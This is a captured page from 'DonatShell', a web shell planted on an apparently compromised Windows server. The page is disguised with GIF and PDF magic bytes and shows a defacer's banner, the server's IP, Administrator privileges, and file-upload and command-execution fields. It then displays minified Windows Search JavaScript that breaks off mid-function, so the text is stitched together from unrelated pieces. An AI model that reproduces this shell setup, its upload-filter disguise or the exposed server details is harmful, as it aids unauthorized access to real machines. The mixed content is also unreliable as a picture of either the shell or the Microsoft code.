GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SystemApps/Microsoft.Windows.Search_cw5n1h2txyewy/cache/Desktop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SystemApps/Microsoft.Windows.Search_cw5n1h2txyewy/cache/Desktop/20.txt
var WSB;(function(n){function uf(n,i){var r,u;let f=[];if(i)if(n)f=i.slice();else{let n=new Set;for(let f=0;f<i.length;f++){let e=(u=(r=i[f])===null||r===void 0?void 0:r.verb)===null||u===void 0?void 0:u.toLowerCase();e&&t[e]&&n.add(i[f])}f=Array.from(n.values()).sort((n,i)=>t[n.verb.toLowerCase()].order-t[i.verb.toLowerCase()].order)}return f}function ff(n){return n?n.filter(n=>!n.verb||n.verb.toLowerCase()!=="open"&&n.verb.toLowerCase()!=="jumplistremoveitem"):[]}function l(t,i,r,u,f,e){e()&&(t=t.slice(),i.getExtraVerbsAsync?n.Async.safeChain("getExtraVerbsAsync",()=>i.getExtraVerbsAsync(u),n=>tt(ii(t,n,!0),i,u,f,e),()=>tt(t,i,u,f,e),null,r):tt(t,i,u,f,e))}function tt(n,t,i,r,u){if(u()){let f=t.getExtraVerbs?ii(n,t.getExtraVerbs(i),!1):n;f[0]==st&&f.shift();r(f)}}function ef(i,r,u,f){return i.map(i=>{let e,o;if(i.verb){switch(i.verb.toLocaleLowerCase()){case wi:e="PinnedToStart";break;case lt:e="PinnedToTaskbar";break;case bi:e="UnpinnedFromStart";break;case at:e="UnpinnedFromTaskbar";break;case pi:o=n.config.useCobaltCSS?"UninstallMessage":"UninstallConfirmation";e="UninstallationInProgress";break;case yu:e="PathCopied"}let s=t=>{t(),n.RuntimeConfig.AlwaysWide&&e=="UninstallationInProgress"?(r.uninstallationInProgress=!0,f&&f()):e?u.showTemporaryMessage(n.Host.getLocString(e,HitHighlightingParser.removeMarkers(r.text))):u.hideTemporaryMessage(),i.verb.toLocaleLowerCase()==lt&&n.Host.addItemToPinnedToTaskbar(r.deviceItem.id),i.verb.toLocaleLowerCase()==at&&n.Host.removeItemFromPinnedToTaskbar(r.deviceItem.id)},h=i.icon||t[i.verb.toLocaleLowerCase()];return new n.DeviceItemVerbWrapper(i,h,t=>{o&&n.DialogBox?n.DialogBox.show(n.Host.getLocString(o),[{id:null,text:i.displayName,action:()=>s(t),selected:!1,useAccentColor:n.config.useCobaltCSS?!0:!1},{id:null,text:n.Host.getLocString("Cancel"),selected:!0}],n.config.useCobaltCSS?n.Host.getLocString("UninstallConfirmationTitle",HitHighlightingParser.removeMarkers(r.text)):""):s(t)})}return i})}function ur(t,i,r,u,f,e){let o=t+" "+i.type;if(n.isJumpListSuggestion(i))return n.Async.safeChain("jumpListItem.getVerbsAsync",()=>i.jumpListItem.getVerbsAsync(),n=>l(ff(n),i,o,u,f,e),()=>l([],i,o,u,f,e),null,t+" "+i.type),!0;let s=n.getItemWithFileMetadata(i);return s&&s.canHaveContextMenu?(n.Async.safeChain("item.getVerbsAsync",()=>s.getVerbsAsync(),n=>l(uf(r,n),i,o,u,f,e),()=>l([],i,o,u,f,e),null,o),!0):i.getExtraVerbsAsync?(l([],i,o,u,f,e),!0):i.getExtraVerbs?(tt([],i,u,f,e),!0):(u&&f([]),!1)}function a(n,t,i){let r=HitHighlightingParser.removeMarkers(n.text),u=r?r.length:0;return n.additionalInfoText&&!i&&(u+=n.additionalInfoText.length),u>(i?au:vu)}function ti(n){let t={topResults:n.topResults.slice(0),groups:[]};for(let i of n.groups)t.groups.push({typeWithSource:i.typeWithSource,suggestions:i.suggestions.slice(0)});return t}function fr(t,i){if(t.isHtmlAnswer)return kr;if(t.grid)return(i?n.IconSize_GridLayout:n.IconSize_GridLayout_Medium)+2*u;let r=t.numberOfLines==3?br:t.numberOfLines==2?wr:pr;return t.mainTextWrapsToTwoLines&&(r+=si),r<oi&&(r=oi),r}function sf(t,i){if(!t)return 0;if(i&&n.uses3lineTemplate(n.getScope(i.type)))return fr({mainTextWrapsToTwoLines:!1,numberOfLines:3,isHtmlAnswer:!1,isSuppressed:t.isSuppressed,grid:!1},!1);if(t.isSuppressed)return 0;let r=ei;return t.hasTwoLines?r+=rt+2:t.mainTextWrapsToTwoLines&&(r+=si),r}function er(t,i){let r=ut;if(i.typeWithSource&&n.displayedInGridLayout(i.typeWithSource.type)){let u=n.isL2(t),f=Math.ceil(i.suggestions.length/(u?vi:yi)),e=u?ci:li;r+=e*f;r+=2*ft}else i.suggestions.forEach(n=>r+=sf(n,i.typeWithSource));return!t.isSearchHomeZI&&n.config.newGroupHeaderStyle1&&t.scope==n.Scope.All&&(r=r+30),r}function hf(n){switch(n){case 0:return"CP";case 7:return"DI";case 1:return"PP";case 2:return"PD";case 4:return"SP";case 5:return"TP";case 6:return"SD"}return undefined}function ii(n,t,i){if(n.length>0&&t.length>0){let r=i?n.concat(st):n;return r.concat(t)}return n.length>0?n:t.length>0?i?[st].concat(t):t:[]}function i(t,i){return t.find(t=>n.sameGroup(t.typeWithSource,i))}function or(t,i){return t.find(t=>n.sameGroup(t.group.typeWithSource,i))}function sr(n,t){return n.queryToFetch.substring(0,t.queryToFetch.lastIndexOf("\\"))}function hr(t){switch(t){case n.GroupType.AnaheimDataTile:case n.GroupType.TopApps:case n.GroupType.People:return!0}return!1}function cf(t,i){if(!t.isSearchHomeZI||t.isWorkScopeZI||t.scope==n.Scope.All||i==n.GroupType.RecommendedDocs)return null;if(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isPeopleZeroQueryEnabled(t))return n.Host.getLocString("PeopleZeroQuerySection");if(t.scope==n.Scope.Web){if(i==n.GroupType.Websites)return n.Host.getLocString("RecentWebsiteSection");if(i==n.GroupType.SearchSuggestions)return n.Host.getLocString("RecentWebSearchSection");if(n.config.enableFromYourHistory&&i==n.GroupType.FromYourHistory)return n.Host.getLocString("FromYourHistory")}return hr(i)?n.Host.getLocString("FrequentSection"):n.Host.getLocString("RecentSection")}function lf(t){return n.Host.getLocString(t?(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())?"SearchSchoolAndWeb":"SearchWorkAndWeb":n.shouldEnableBingChatString()?n.config.enableCopilotStringUpdate?"AskCopilot":"ChatWithBing":n.config.useGroupTitleWeb?"SearchWebData":n.config.webSearchGroupTitle)}function af(){return n.Host.getLocString("Websites")}function vf(){return n.SubstrateTenantName?(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())?n.Host.getLocString("MsbRecommendedForYouText"):n.Host.getLocString("MsbTenantRecommended").replace("{0}",n.SubstrateTenantName):n.Host.getLocString("QuickWorkSearchSuggestionsSection")}function cr(t,i,r,u){var e,o;if(i==n.GroupType.PathCompletion){let n=sr(t,t)+"\\"+String.fromCharCode(8206);return{title:n,narratorText:n}}if(r){let t=r.groupDisplayName;if(t)return{title:t,narratorText:u?n.Host.getLocString("AddingScopeNarratorText",t):t}}let f=cf(t,i);if(!f)switch(i){case n.GroupType.Command:f=n.Host.getLocString("CommandGroup");break;case n.GroupType.Cortana:f=n.Host.getLocString("CortanaGroup");break;case n.GroupType.Store:f=n.Host.getLocString("StoreGroup");break;case n.GroupType.LocalPlaces:f=n.Host.getLocString("LocalPlacesGroup");break;case n.GroupType.Related:f=n.Host.getLocString("RelatedSuggestionsGroup");break;case n.GroupType.SearchSuggestions:f=lf(n.msbEnabledForQuery(t));break;case n.GroupType.FromYourHistory:f=n.Host.getLocString("FromYourHistory");break;case n.GroupType.AnaheimDataQF:f=n.Host.getLocString("SearchAnaheimData");break;case n.GroupType.Websites:f=af();break;case n.GroupType.Contact:f=n.Host.getLocString("ContactGroup");break;case n.GroupType.LocalSearchHistory:f="Search history";break;case n.GroupType.CuratedSuggestions:f=n.Host.getLocString("SuggestedSection");break;case n.GroupType.CuratedSettings:f=n.Host.getLocString("QuickSearchSuggestionsSection");break;case n.GroupType.TopApps:f=n.Host.getLocString("TopAppsSection");break;case n.GroupType.QuickSearch:f=n.Host.getLocString("QuickSearchSuggestionsSection");break;case n.GroupType.QuickWorkSearch:case n.GroupType.QuickWorkSearchTopList:case n.GroupType.MsbQuickWorkQueriesTopList:f=vf();break;case n.GroupType.VisualSearch:f="Visual search";break;case n.GroupType.Upsell:f=n.Host.getLocString("RecommendedGroup");break;case n.GroupType.MRUHistory:case n.GroupType.WorkSuggestions:f=n.shouldShowDSBFullWidth(t)&&n.config.enableMRUDSBV2?n.Host.getLocString("DSBRecentTitle"):(t===null||t===void 0?void 0:t.isWorkScopeZI)&&n.canShowWorkSearchMru(t)&&((r===null||r===void 0?void 0:r.handoffType)===21||(r===null||r===void 0?void 0:r.handoffType)===17)?n.Host.getLocString("MsbRecentWorkSearches"):n.Host.getLocString("MRUHistoryGroup");break;case n.GroupType.AnaheimDataTile:f=n.Host.getLocString("AnaheimDataTopSites");break;case n.GroupType.AIFeed:f=n.Host.getLocString("AIFeedGroup");break;case n.GroupType.SmartActions:f=n.Host.getLocString("SmartActionsGroup");break;case n.GroupType.AnaheimDataList:r.type=="QSSG"?f=n.Host.getLocString("QuickSearchSuggestionsSection"):r.type=="ANAH"?f=n.Host.getLocString("AnaheimDataHistory"):r.type=="ANAT"?f=n.Host.getLocString("AnaheimDataTopSites"):r.type=="ANAR"&&(f=n.Host.getLocString("AnaheimDataRecentlyClosed"));break;case n.GroupType.AnaheimDataTopHit:n.config.topHitMuse&&r.type=="ANATH"&&(f="Best match for Edge history");break;case n.GroupType.RecommendedDocs:f=n.Host.getLocString("RecommendedDocsGroup");n.config.msbEnableDocumentZQ&&t.scope==n.Scope.Documents&&(f=n.Host.getLocString("RecommendedZQGroup"));break;case n.GroupType.PromoBanner:f=n.Host.getLocString("VaccineUpdate");break;case n.GroupType.MsbOnRampButton:f="MSB On ramp button";break;case n.GroupType.TrendingSearchData:f=n.Host.getLocString("DSBTrendingTitle");break;case n.GroupType.ChatWithBing:f=n.Host.getLocString("AskCopilot");break;case n.GroupType.DMAWeb:f=((e=r.sourceApp)===null||e===void 0?void 0:e.displayName)?((o=r.sourceApp)===null||o===void 0?void 0:o.displayName)+" "+n.Host.getLocString("DMAWebSuggestions"):n.Host.getLocString("SearchTheWeb");break;case n.GroupType.RSHSuggestions:f=n.Host.getLocString("RSHGroupHeader")}if(!f){let t=n.getScope(i);if(t==n.Scope.All)throw new Error("Unknown group type: "+i);let r=n.ScopeConfig[t];f=n.getScopeDisplayName(r)}return{title:f,narratorText:u?n.Host.getLocString("AddingScopeNarratorText",f.toLocaleLowerCase()):f}}function yf(t){let i,r;if(n.config.enableAnaheimDataProfile)if(n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable())n.AnaheimDataProviderV2&&n.AnaheimDataProviderV2.checkAnaheimV2Enable()&&(n.AnaheimDataProviderV2.ANAAccountType==1?i=n.AnaheimDataProviderV2.ANAProviderItemID:n.AnaheimDataProviderV2.ANAAccountType==2&&(r=n.AnaheimDataProviderV2.ANAProviderItemID));else if(n.AnaheimDataProvider){let t=n.AnaheimDataProvider.getSelectedProfile();t&&(t.accountType=="MSA"?i=t.id:t.accountType=="AAD"&&(r=t.id))}return[{text:n.Host.getLocString("AnaheimDataEdgeSettings"),id:"anaheimDataEdgeSettings",selected:!1,useAccentColor:!0,action:()=>n.Host.launchUrlWithEdgeProtocolAsync(null,{edgeSettingsUrl:n.config.anaheimDataEdgeSettings,cid:i,oid:r}),instItem:n.InstrumentedItem.getNonSuggestionInstrumentedItem("ANA",n.SyntheticQSCodesMaps.KValues,19),sequenceNumber:t}]}function pf(){let i=t=>{let i=t.isChecked;n.setUserDisableTSInSearchBox(i);n.placeholdertextNeedUpdate=!0;n.Host.refreshCurrentPane()},t={id:"TrendingSearchToggleSwitchOption",optionType:1,headerText:n.Host.getLocString("DisableTSInSearchBox"),narratorText:n.Host.getLocString("DisableTSInSearchBox"),click:null,selected:!1,isChecked:n.isUserDisableTSInSearchBox()};return t.click=()=>{i(t)},[t]}function lr(t,i,r,u){let f,o=[],s,e;const h=n.canShowAnaheimDataSHTileE2E(),l=n.canShowAnaheimDataSHListE2E(),a=n.canShowAnaheimDataQFE2E(),c=t==n.GroupType.AnaheimDataTile&&h;if(t==n.GroupType.AnaheimDataTile&&h||t==n.GroupType.AnaheimDataList&&l||t==n.GroupType.AnaheimDataQF&&a?(f=n.config.enableWin11SSH?"AnaheimDataGroupPopup":n.canShowAnaheimWin11ZITopSites()?"AnaheimDataGroupPopup11":"AnaheimDataGroupPopup",e="anaheimDataPopover",o=yf(u)):t===n.GroupType.TrendingSearchData&&n.isTSInSearchBoxAvailable()&&(f="DSBTrendingTitle",e="trendingSearchDataPopover",o=pf()),f){let r=t+"informationBubble",u=e||t+"groupTitlePopover",h=()=>i.showPopover(n.Host.getLocString(f),o,_ge(r),!0,!0,u,c),l=(t,e)=>{if(e==1){h();return}i.showPopover(n.Host.getLocString(f),o,_ge(r),!0,!1,u,c)};s={subItem:{id:r,selected:!1,selectedStyleSuspended:!1,narratorText:"",tooltip:"",text:"",onSelected:h},onMouseEnter:e!="trendingSearchDataPopover"?l:null,onClick:e=="trendingSearchDataPopover"?l:null}}return s}const ri=4,ui=6,it=8,u=12,fi=1,f=20,rt=n.config.useCobaltCSS?20:16,vr=n.config.useCobaltCSS?20:16,ei=n.config.useCobaltCSS?42:f+2*it,ut=n.config.useCobaltCSS?40:vr+2*it,yr=n.config.useCobaltCSS?40:ut,oi=n.config.useCobaltCSS?70:60,pr=n.config.useCobaltCSS?50:f+2*u,wr=n.config.useCobaltCSS?70:f+rt+ri+2*u,br=n.config.useCobaltCSS?88:f+2*(rt+ri)+2*u,kr=80+2*u,dr=n.config.useCobaltCSS?18:it,si=f,gr=n.config.useCobaltCSS?58:48,hi=48,ft=1,ci=n.IconSize_GridLayout+2*(ui+fi),li=n.IconSize_GridLayout_Medium+2*(ui+fi),nu=n.config.useCobaltCSS?44:32,tu=8,iu=n.config.useCobaltCSS?139:140,ru=156,et=8,uu=n.config.useCobaltCSS?572:600,fu=510,eu=400,ou=350,v=184,ot=692,su=628,hu=565,cu=501,lu=6,ai=200;let vi=3,yi=4;const au=n.config.useCobaltCSS?33:39,vu=n.config.useCobaltCSS?33:42,st={},ht="runas",ct="tabletmode_opennewwindow",pi="tile.uninstall",wi="startpin",lt="taskbarpin",bi="startunpin",at="taskbarunpin",vt="MRUNoItemsAvailable",y="launchIndexingOptions",p="launchIndexingStatus",r="dismissIndexingNotification",yu="s_copyfullpath",yt="workUpsellDismiss",pt="workUpsellButton",ki="dynamic-pane-iframe",wt="ws-pills-see-more-less",pu="data-show-more",bt="reclaimKeepButton",e="reclaimUndoButton",kt="reclaimDismiss",w=4,di="notificationDismissIcon",gi="notificationButton",b="notificationDismiss",k=[{id:"FlyoutNextButton",selected:!1,text:null},{id:"FlyoutButton",selected:!1,text:null},{id:"FlyoutHyperLinkButton",selected:!1,text:null},{id:"FlyoutDismissFooterButton",selected:!1,text:null},{id:"flyoutDismissIcon",selected:!1,text:null}],d={id:bt,selected:!1},g={id:e,selected:!1},dt={id:kt,selected:!1},nr=[d,g,dt],tr={id:di,selected:!1},o={id:gi,selected:!1},s={id:b,selected:!1},ir=n.config.useCobaltCSS?[o,s]:[tr,o,s],nt={id:"SearchBox",selected:!1,text:"SearchBox"},wu={id:yt,selected:!1,text:null},bu={id:pt,selected:!1,text:null},ku=[wu,bu],du={id:wt,selected:!1,text:null},h=1,c="WorkUpsellInfo",rr=5,gt="SRCHHPGUSR",ni="DPR",gu="devicePixelRatio",nf="ms-appid:",t={};t[ht]={content:"&#xE7EF",type:1,order:1};t.runasuser={content:"&#xE7EE",type:1,order:2};t.openinbrowser={content:"&#xE774",type:1,order:3};t.openfilelocation={content:"&#xE838",type:2,order:4};t.opencontaining={content:"&#xE838",type:2,order:5};t[ct]={content:"&#xE8A7",type:2,order:6};t[bi]={content:"&#xE77A",type:1,order:7};t[at]={content:"&#xE77A",type:1,order:8};t[wi]={content:"&#xE718",type:2,order:9};t[lt]={content:"&#xE718",type:2,order:10};t.settings={content:"&#xE713",type:2,order:11};t.manage={content:"&#xE912",type:1,order:12};t.review={content:"&#xE728",type:2,order:13};t.share={content:"&#xE72D",type:1,order:14};t.connectnetworkdrive={content:"&#xE8CE",type:1,order:15};t.disconnectnetworkdrive={content:"&#xE8CD",type:1,order:16};t.uninstall={content:"&#xE74D",type:2,order:17};t[pi]={content:"&#xE74D",type:2,order:18};t.itemproperties={content:"&#xF106",type:2,order:19};const tf=(()=>{let t={};return t[n.GroupType.PathCompletion]="GPT",t[n.GroupType.Store]="GT",t[n.GroupType.SearchSuggestions]="GW",t[n.GroupType.ChatWithBing]="GW",t[n.GroupType.FromYourHistory]="GW",t[n.GroupType.AnaheimDataQF]="GW",t[n.GroupType.MRUHistory]="MRUH",t[n.GroupType.QuickSearch]="QSCH",t[n.GroupType.CuratedSuggestions]="DFLS",t[n.GroupType.CuratedSettings]="CUSE",t[n.GroupType.VisualSearch]="SNSC",t[n.GroupType.DMAWeb]="DWS",t})(),rf=["Bookmark","Building","Person","Qna","File","Group",];n.extendVerbs=ef;n.getVerbsAsync=ur;n.wrapsToTwoLines=a;n.joinVerbs=ii;n.getGroupTitleAndNarratorText=cr;n.getGroupPopover=lr;class ar{constructor(t,i,r,u,f,e,o,s,h){this._autoComplete=t;this._navigationHelper=i;this._page=r;this._previewPane=u;this._menuFactory=f;this._upsellViewModel=e;this._popoverFactory=o;this._headerFooterViewModel=s;this._copilotViewModel=h;this._pendingSubmitSequenceNumber=-1;this._pendingSubmitModifierKeys=null;this._pendingSubmitTimeStamp=null;this._itemLaunchEventHandlers=[];this._conversationEndsHandlers=[];this.groups=[];this.topResults=[];this._lastUpdatedSequenceNumber=-1;this._topResultsRenderingDisabled=!1;this._groupRenderingDisabled=!1;this._resultsCounter={topResults:[],groups:[]};this._shouldHideWorkUpsell=!1;this._isWorkUpsellShown=!1;this._pendingSuggestionsInExistingGroups=[];this._pendingSuggestionsInMissingGroups=[];this._lastMiniSerpAutoSuggestion=null;this._addedManualLbshToMru=!1;this._existPendingSettingsGroup=!1;this._settingSuggestions=[];this.dwellStartTime=-1;this.dwellEndTime=-1;this.dwellTime=-1;this.updateExpandedState=()=>{var i;const t=(i=this.groups)===null||i===void 0?void 0:i.findIndex(t=>t.type===n.GroupType.Related);t>-1&&(this.groups[t].isGroupContainerFullyExpanded=!this.groups[t].isGroupContainerFullyExpanded,this._selectedItem.isGroupContainerFullyExpanded=this.groups[t].isGroupContainerFullyExpanded)};n.Host.bindShown(()=>{this._selectedItem=null,this._lastMiniSerpAutoSuggestion=null,this._addedManualLbshToMru=!1,this._page.updateNotificationBannerAreaView(this.buildDmaBannerModel())});r.setSuggestionClickHandler(this.doubleClickGuardedHandler((t,i)=>{let r={shiftKey:i===null||i===void 0?void 0:i.shiftKey,ctrlKey:i===null||i===void 0?void 0:i.ctrlKey,altKey:i===null||i===void 0?void 0:i.altKey};n.safeExecute(()=>this.click(n.getCurrentTime(),t,n.getInputType(i),r),"suggestionClickHandler")}));r.setContextMenuHandler((t,i)=>{n.safeExecute(()=>this._menuFactory.showContextMenuOnXY(t,i.pageX,i.pageY,()=>n.Host.setFocusInSearchBox(null,"contextMenuDismiss"),n.getInputType(i)),"contextMenuHandler")});r.setOpenPreviewPaneClickHandler((t,i)=>{var r;const u=t;rf.indexOf(u.msbDomain)>-1&&(_w.bfbWsbTel&&bfbWsbTel.logQFSuggestionArrowClick(u.msbDomain),_w.bfbWsbTel&&bfbWsbTel.log3SClickedEvent("QueryFormulationRightArrow_Click",(r=window===null||window===void 0?void 0:window._G)===null||r===void 0?void 0:r.IG));n.safeExecute(()=>this.openPreviewPane(t,i),"openPreviewPaneClickHandler")});r.setExpanderClickInstrumentation((t,i,r)=>{let u="Expander"+(r?"Opened":"Closed"),f={st:i,K:t.instItem.getLayoutKValue()};n.InstrumentationHelper.logClientInstEvent("Select",u,null,f,"WindowsTelemetry",33554432)});this._previewPane&&(this._previewPane.init(this),this._previewPane.bindBeforeItemLaunch((t,i,r,u,f,e)=>n.InstrumentationHelper.instrumentItemClickForPreviewPane(t,i.instItem,i.sequenceNumber,i.instrumentPingBack,r,null,u,f,e,i.deviceItem)),this._previewPane.bindAfterItemLaunch((n,t,i)=>{this.onSuggestionLaunch(n,t,i)}));n.Host.bindShown(()=>{n.Host.useImprovedIndexingMessage()||(n.config.setIndexerDefaultValue&&(n.config.searchServiceDisabled=!0),SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchServiceStatusAsync&&n.Async.safeChain("getSearchServiceStatusAsync",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchServiceStatusAsync(),t=>{n.InstrumentationHelper.setSearchServiceStatus(hf(t));switch(t){case 1:case 2:case 5:case 6:case 7:n.config.searchServiceDisabled=!0;this.showIndexingMessage(!1);break;case 0:case 4:if(n.config.queryIndexerOnRunningOnly){n.config.searchServiceDisabled=!0;this.showIndexingMessage(!0);break}n.config.searchServiceDisabled=!1;break;case 3:n.config.searchServiceDisabled=!1}}))});r.bindOnNarratorLaunch(t=>{let i=n.getCurrentTime(),r=this.getSelectableItems();for(let n of r)if(n.id==t){this.isSuggestionOrGroup(n)?(this.select(n,!1),this.submit(i,!1,n.sequenceNumber,null,!0)):this.isScopeElement(n)&&_ge(n.id).click();break}});n.Host.bindSearchBoxGotFocus(()=>{this._menuFactory.dismiss();let t=n.getCurrentActiveElement();t&&t.blur();this._selectedItem&&!this.isScopeElement(this._selectedItem)&&this.renderSelectedSuggestionState(!1)});n.Host.bindSearchBoxLostFocus(()=>{let t=this.isScopeTile(n.getCurrentActiveElement());t?n.safeSetTimeout(()=>{n.Host.searchBoxHasFocus()||this.isScopeElement(this._selectedItem)||this.renderSelectedSuggestionState(!0)},75,"RootViewModel.bindSearchBoxLostFocus"):this.renderSelectedSuggestionState(!0)});n.config.enableUserEngagementLog&&n.Host.bindQueryChangedOrInitialized(()=>{this.isDwellStarted()&&(this.instrumentDwellTime(),this.resetDwellTime()),this.setDwellStartTime(n.getCurrentTime())});sj_evt.bind("CortanaPaneWidthSet",n=>this.onPaneWidthSet(n[1]));this.setDevicePixelRatioCookie();sj_be(n.StaticHtmlElements.qfContainer,"scroll",()=>{this._menuFactory.dismiss(),this._popoverFactory&&this._popoverFactory.dismiss()});n.config.disbaleWideForLargeTextScale&&(n.config.isDMARegion||n.isThirdPartySearchAllowed()||sj_be(_qs(".resultsContainer"),"scroll",()=>{_qs(".resultsContainer").scrollLeft+window.innerWidth>=_qs(".resultsContainer").scrollWidth?(_qs(".scopesListContainer").classList.remove("largeTextSizeInvisible"),_qs(".scopesListContainer").classList.add("largeTextSizeVisible")):(_qs(".scopesListContainer").classList.remove("largeTextSizeVisible"),_qs(".scopesListContainer").classList.add("largeTextSizeInvisible"))}));this._iconRenderInfos=[]}getDwellStartTime(){return this.dwellStartTime}setDwellStartTime(n){this.dwellStartTime=n}getDwellEndTime(){return this.dwellEndTime}setDwellEndTime(n){this.dwellEndTime=n}isDwellStarted(){return this.getDwellStartTime()!=-1}resetDwellTime(){this.dwellStartTime=-1;this.dwellEndTime=-1;this.dwellTime=-1}setDwellTime(n){this.dwellTime=n}getDwellTime(){return this.dwellTime}instrumentDwellTime(){var t;this.setDwellEndTime(n.getCurrentTime());this.setDwellTime(this.getDwellEndTime()-this.getDwellStartTime());const i=n.isNullOrUndefined(n.config.dwellUserEngagementDuraThres)?2e3:n.config.dwellUserEngagementDuraThres;if(this.getDwellTime()>i){const i=(t=this.getDwellTime())!==null&&t!==void 0?t:undefined;n.InstrumentationHelper.instrumentDwell(i)}}setDevicePixelRatioCookie(){n.config.enableDPRInBingImage?this.setDevicePixelRatioCookieCrumb():n.config.enableClearDprCrumb&&this.removeCrumbValueFromCookie(gt,ni)}setDevicePixelRatioCookieCrumb(){let n=_w[gu];(typeof n!="number"||n<0||n===0||n>10)&&(n=1);let t=sj_cook.get(gt,ni),i=n.toFixed(1);t&&parseFloat(t)===parseFloat(i)||sj_cook.set(gt,ni,i,undefined,"/")}removeCrumbValueFromCookie(n,t){let i=sj_cook.get(n,t);i&&sj_cook.set(n,t,"",undefined,"/")}isScopeTile(n){return n&&n.classList.contains("scope-tile")}isMessageBannerButton(n){return n&&n.classList.contains("reclaimButton")}isNotificationBannerButton(n){return n&&n.classList.contains("upsellButton")}shouldAddLastAutoSuggToMRU(){var t,i;let r=!1;if(!n.config.disableMRULBSHIncludeAutoMiniSerp&&!this._addedManualLbshToMru&&this._lastMiniSerpAutoSuggestion){const u=n.getGroupType(this._lastMiniSerpAutoSuggestion);if(u===n.GroupType.SearchSuggestions||n.config.enableFromYourHistory&&u===n.GroupType.FromYourHistory||u===n.GroupType.WorkSuggestions){const u=(i=(t=this._partialQuery)===null||t===void 0?void 0:t.queryToFetch)===null||i===void 0?void 0:i.trim();((u===null||u===void 0?void 0:u.length)>=n.config.minQueryLengthForMiniSerpAutoSuggestion||(u===null||u===void 0?void 0:u.split(" ").length)>1)&&(r=!0)}}return r}onDismiss(){var t;this.shouldAddLastAutoSuggToMRU()&&this.addLastMiniSerpAutoSuggestionToMru();this.topResults=[];this.renderTopResults(!0);this.groups=[];this.renderGroups(!0);this._partialQuery=null;this._lastUpdatedSequenceNumber=-1;this._pendingSuggestionsInExistingGroups=[];this._pendingSuggestionsInMissingGroups=[];this.toggleProgressBar(!1);this._menuFactory.dismiss();this._previewPane&&n.RuntimeConfig.PreviewPaneAvailable&&this._previewPane.dismiss();this._page.hideTemporaryMessage();n.Host.useImprovedIndexingMessage()?this.hideIndexingIncompleteNotification():this.hideIndexingMessage();n.DialogBox&&n.DialogBox.hide();this._headerFooterViewModel&&(this._headerFooterViewModel.render(null,!1,!1,!1,!0),n.config.useCobaltCSS&&((t=this._headerFooterViewModel)===null||t===void 0?void 0:t.scopesSliderReset(!0)));n.Host.setSearchBoxGlyphIcon();n.config.wsbWithCopilotQF&&(this._copilotResponseRendered=!1,this._copilotResponsePreviewTimeout&&sb_ct(this._copilotResponsePreviewTimeout),this._page.updatePreviewContainerCopilotView({queryText:"",isQF:!0,chatClickHandler:null},""),_ge("copilotInlinePreview").classList.add("b_hide"))}bindItemLaunch(n){this._itemLaunchEventHandlers.push(n)}bindConversationEnds(n){this._conversationEndsHandlers.push(n)}onPaneWidthSet(n){yi=Math.floor((n-2*ft)/li);vi=Math.floor((n-2*ft)/ci)}setSelectedStyleSuspended(t,i){t.selectedStyleSuspended=i&&n.Host.isRequestFocusAvailable()}renderSelectedSuggestionState(n){this._selectedItem&&(this.setSelectedStyleSuspended(this._selectedItem,n),this.renderSelection(this._selectedItem))}toggleProgressBar(t){var i,r;n.config.dataSourcesWithProgressBar.length>0&&(this._progressTimer&&(sb_ct(this._progressTimer),this._progressTimer=null),t?(((i=this._partialQuery)===null||i===void 0?void 0:i.showProgressBar)||((r=this._partialQuery)===null||r===void 0?void 0:r.queryToFetch)=="")&&(this._progressTimer=n.safeSetTimeout(()=>{this._progressTimer&&(this._page.setProgressIndicatorVisibility(!0),this._progressTimer=null)},250,"showProgress")):n.config.dataSourcesWithProgressBar.length>0&&(this._progressTimer&&(sb_ct(this._progressTimer),this._progressTimer=null),this._page.setProgressIndicatorVisibility(!1)))}resetPendingSubmitSequenceNumber(){this._pendingSubmitSequenceNumber=null;this._pendingSubmitModifierKeys=null;this._pendingSubmitTimeStamp=null}onAfterKeyDown(t,i,u,f){var a,v,w,nt,tt,it,rt;if((a=this._previewPane)===null||a===void 0?void 0:a.hasFocus()){const i=this._previewPane.getSelectableItems(),n=i[0],t=this._previewPane.getSelectedItem();(n===null||n===void 0?void 0:n.id)===(t===null||t===void 0?void 0:t.id)&&this._page.scrollRightPaneToTop()}if(!this._partialQuery||!this._menuFactory.isMenuVisible()&&(!this._popoverFactory||!this._popoverFactory.isPopoverVisible())&&t==13&&this._partialQuery.scope!==n.Scope.Work&&!n.isRemoveIconSelected())return!1;const l=i&&i.shiftKey;if(n.DialogBox&&n.DialogBox.isVisible())return t!=9||f||this.handleCrossViewModelsTabKeyNavigation(null,l),!0;let c=this._previewPane&&this._previewPane.hasFocus();const ut="rvm onAfterKeyDown";if(this._page.hideTemporaryMessage(),this.resetPendingSubmitSequenceNumber(),!u&&n.isContextMenuKey(t,l)&&!c)return this.tryShowContextMenuOnSelectedSuggestion(),!0;if(this._menuFactory.isMenuVisible()){if(t==37||t==39||t==13||n.isUpOrDownKey(t)){let r=this._menuFactory.onAfterKeyDown(t,i,u,f);if(r)return!0;if(n.isUpOrDownKey(t))return!1}else if(t==9)return this._menuFactory.dismiss(!0),!0;this._menuFactory.dismiss(!0)}if(this._popoverFactory&&this._popoverFactory.isPopoverVisible()){if(t==37||t==39||t==13||n.isUpOrDownKey(t)){let n=this._popoverFactory.onAfterKeyDown(t,i,u,f);if(n)return!0;if(t==37||t==39)return!1}this._popoverFactory.dismiss(!1)}if(n.RuntimeConfig.QfMode==0||n.RuntimeConfig.QfMode==1){let i=this._selectedItem;if(i&&i.removeIcon&&i.selected){if(t==39)return 